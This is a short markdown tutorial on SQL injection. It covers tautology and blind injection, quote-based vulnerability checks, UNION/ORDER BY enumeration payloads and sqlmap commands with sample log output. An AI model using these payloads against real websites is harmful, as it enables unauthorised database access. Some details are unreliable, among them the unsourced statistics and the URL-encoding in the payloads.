# SQL Injections (SQLi)

* A SQL query  search can be easily manipulated and assume that a SQL query search is a reliable command. This means  that SQL searches are capable of passing, unnoticed, by access control mechanisms. 
* Using methods of diverting standard authentication and by checking the authorization credentials, you can gain access to important information stored in a database. 

## The Simplest Example

A parameter passed for a name of a user:

```
SELECT * FROM users WHERE
name="$name";
```

In this case, the attacker just needs to introduce a true logical expression like ```1=1```:

```
SELECT * FROM users WHERE 1=1;
```
So that the **WHERE** clause is always executed, which means that it will return the values that match to all users.

Nowadays it is estimated that less than 5% of the websites have this vulnerability.

These types of flaws facilitate the occurrence of other attacks, such as XSS or buffer overflows.

## Blind SQL Injection

It's estimated that over 20% of the websites have this flow.

In traditional SQLi it is possible to reveal the information by the attacker writing a payload. In the blind SQLi, the attacker needs to ask the server if something is TRUE or FALSE. For example, you can ask for a user. If the user exists, it will load the website, so it's true.

Every time you see an URL, the **question mark** followed by some type of letter or word means that a value is being sent from a page to another.

In the example
```
http://www.website.com/info.php?id=10
```
the page *info.php* is receiving the data and will have some code like:
```
$id=$_post['id'];
```
and an associated SQL query:
```
QueryHere = "select * from information where code='$id'"
```
### Common ways of Exploitation

#### Checking for vulnerability
We can start to verifying whether the target is vulnerable by attaching a simple quote symbol ```'``` in the end of the URL:

```
http://www.website.com/info.php?id=10'
```

If the website returns the following error:

	You have an error in your SQL syntax...

It means that this website is vulnerable to SQL.

#### Find the structure of the database
To find the number of columns and tables in a database we can use [Python's SQLmap](http://sqlmap.org/).  

This application streamlines the SQL injection process by automating the detection and exploitation of SQL injection flaws of a database. There are several automated mechanisms to find the database name, table names, and number of columns.

* ORDER BY: it tries to order all columns form x to infinity. The iteration stops when the response shows that the input column x does not exist, reveling the value of x.

* UNION: it gathers several data located in different table columns. The automated process tries to gather all information contained in columns/table x,y,z obtained by ORDER BY. The payload is similar to:

```
?id=5'%22union%22all%22select%221,2,3
```

* Normally the databases are defined with names such as: user, admin, member, password, passwd, pwd, user_name. The injector uses a trial and error technique to try to identify the name:

```
?id=5'%22union%22all%22select%221,2,3%22from%22admin
```
So, for example, to find the database name, we run the *sqlmap* script with target *-u* and enumeration options *--dbs* (enumerate DBMS databases):

```
$ ./sqlmap.py -u <WEBSITE> --dbs
(...)
[12:59:20] [INFO] testing if URI parameter '#1*' is dynamic
[12:59:22] [INFO] confirming that URI parameter '#1*' is dynamic
[12:59:23] [WARNING] URI parameter '#1*' does not appear dynamic
[12:59:25] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[12:59:25] [INFO] testing for SQL injection on URI parameter '#1*'
[12:59:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:59:27] [WARNING] reflective value(s) found and filtering out
[12:59:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[13:00:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:00:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
(...)
```

From this we can verify what databases we have available, for example. From this we can find out how many tables exist, and their respective names. The sqlmap command is ```--tables <DATABASE-NAME>```.